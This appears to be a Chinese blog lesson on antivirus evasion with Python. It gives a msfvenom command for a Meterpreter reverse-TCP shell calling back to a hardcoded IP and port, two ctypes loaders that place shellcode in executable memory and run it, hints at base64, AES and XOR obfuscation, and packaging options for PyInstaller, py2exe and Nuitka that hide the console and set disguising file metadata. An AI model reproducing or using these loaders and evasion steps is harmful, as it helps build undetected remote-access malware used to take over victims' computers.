第108天:免殺對抗-Python&混淆演算法&反序列化&打包生成器&Py2exe&Nuitka

dummy6acker發表於2024-10-12


image

知識點

#知識點:

1、Python-對執行程式碼做文章
2、Python-對shellcode做文章
3、Python-對程式碼打包器做文章

#章節點:

編譯程式碼面-ShellCode-混淆
編譯程式碼面-編輯執行器-編寫
編譯程式碼面-分離載入器-編寫
程式檔案面-特徵碼定位-修改
程式檔案面-加殼花指令-資源
程式碼載入面-Dll反射劫持-載入
許可權邏輯面-防毒程序干擾-結束
工具資料面-通訊記憶體流量-動態

對抗目標:
X60 Defender 某絨 管家 VT等

程式語言:
C/C++ Python C# Go Powershell Ruby Java ASM等

涉及技術:
ShellCode混淆加密,無檔案落地,分離拆分,白名單,DLL載入,Syscall,加殼加花,
資源修改,特徵修改,二次開發CS,記憶體休眠,程序注入,反沙盒,反除錯,CDN解析等

演示案例

1、Python-原生態-MSF&CS&生成&執行程式碼

2、Python-混淆加密-Base64&AES&反序列化等

3、Python-打包器選擇-Pyinstall&Py2exe&Nuitka

#Python-原生態-MSF&CS&生成&執行程式碼

msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117 lport=6688 -f c
cs 生成payload c或python

執行程式碼1:
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

執行程式碼2:
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

#Python-混淆加密-Base64&AES&反序列化等

Ps:具體見程式碼及講解思路
msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhost=47.94.236.117 lport=6688 -f c
另外的Xor,Rc4等加密演算法都可以實現測試

#Python-打包器選擇-Pyinstall&Py2exe&Nuitka

1、pyinstaller
-F, –onefile 打包一個單個檔案,如果你的程式碼都寫在一個.py檔案的話,可以用這個,如果是多個.py檔案就別用
-D, –onedir 打包多個檔案,在dist中生成很多依賴檔案,適合以框架形式編寫工具程式碼,我個人比較推薦這樣,程式碼易於維護
-K, –tk 在部署時包含 TCL/TK
-a, –ascii 不包含編碼.在支援Unicode的python版本上預設包含所有的編碼.
-d, –debug 產生debug版本的可執行檔案
-w,–windowed,–noconsole 使用Windows子系統執行.當程式啟動的時候不會開啟命令列(只對Windows有效)
-c,–nowindowed,–console 使用控制檯子系統執行(預設)(只對Windows有效)
使用:pyinstaller -F test.py

2、py2exe
安裝:pip install py2exe
打包:python setup.py py2exe
程式碼:
setup.py
from distutils.core import setup
import py2exe
INCLUDES = ['108-pickle-release'] #注意修改指令碼專案名

options = {
"py2exe":
{
"compressed": 1, # 0或1,1壓縮,0不壓縮
"optimize": 2, # 0、1、2,檔案的最佳化級別
"bundle_files": 1, # 1、2、3,1表示所有檔案打包成一個exe檔案,2表示除了Python的直譯器外都繫結,3表示不繫結
"includes": INCLUDES, # 列表,包含其它的一些模組
"dll_excludes": ['MSVCP90.dll'] # 列表,包含的dll檔案不會打包進exe程式
}
}
setup(
version='1.0.0',
options=options,
description="this is a xiaodi test",
zipfile=None, # 公用檔案的壓縮檔名稱,預設為“library.zip”;如果沒有,則會將這些檔案放在最終的exe檔案中
console=[{"script": '108-pickle-release.py'}] # 生成一個控制檯形式的exe程式,對應的有windows=[],生成GUI形式的exe程式
)

3、Nuitka
--standalone:方便移植到其他機器,不用再安裝python
--show-memory --show-progress:展示整個安裝的進度過程
--nofollow-imports:不編譯程式碼中所有的import
--follow-import-to=utils,src:需要編譯成C++程式碼的指定的2個包含原始碼的資料夾,這裡用,來進行分隔。
--output-dir=out:指定輸出的結果路徑為out。
--windows-disable-console:執行exe取消彈框。
--mingw64 #預設為已經安裝的vs2017去編譯,否則就按指定的比如mingw(官方建議)
--standalone 獨立環境,這是必須的(否則拷給別人無法使用)
--windows-disable-console 沒有CMD控制視窗
--output-dir=out 生成exe到out資料夾下面去
--show-progress 顯示編譯的進度,很直觀
--show-memory 顯示記憶體的佔用
--include-qt-plugins=sensible,styles 打包後PyQt的樣式就不會變了
--plugin-enable=qt-plugins 需要載入的PyQt外掛
--plugin-enable=tk-inter 打包tkinter模組的剛需
--plugin-enable=numpy 打包numpy,pandas,matplotlib模組的剛需
--plugin-enable=torch 打包pytorch的剛需
--plugin-enable=tensorflow 打包tensorflow的剛需
--windows-icon-from-ico=你的.ico 軟體的圖示
--windows-company-name=Windows下軟體公司資訊
--windows-product-name=Windows下軟體名稱
--windows-file-version=Windows下軟體的資訊
--windows-product-version=Windows下軟體的產品資訊
--windows-file-description=Windows下軟體的作用描述
--windows-uac-admin=Windows下使用者可以使用管理員許可權來安裝
--linux-onefile-icon=Linux下的圖示位置
--onefile 像pyinstaller一樣打包成單個exe檔案
--include-package=複製比如numpy,PyQt5 這些帶資料夾的叫包或者輪子
--include-module=複製比如when.py 這些以.py結尾的叫模組
使用:nuitka --mingw64 --standalone --show-memory --show-progress --nofollow-imports --follow-import-to=utils,src --output-dir=out 108.py

相關文章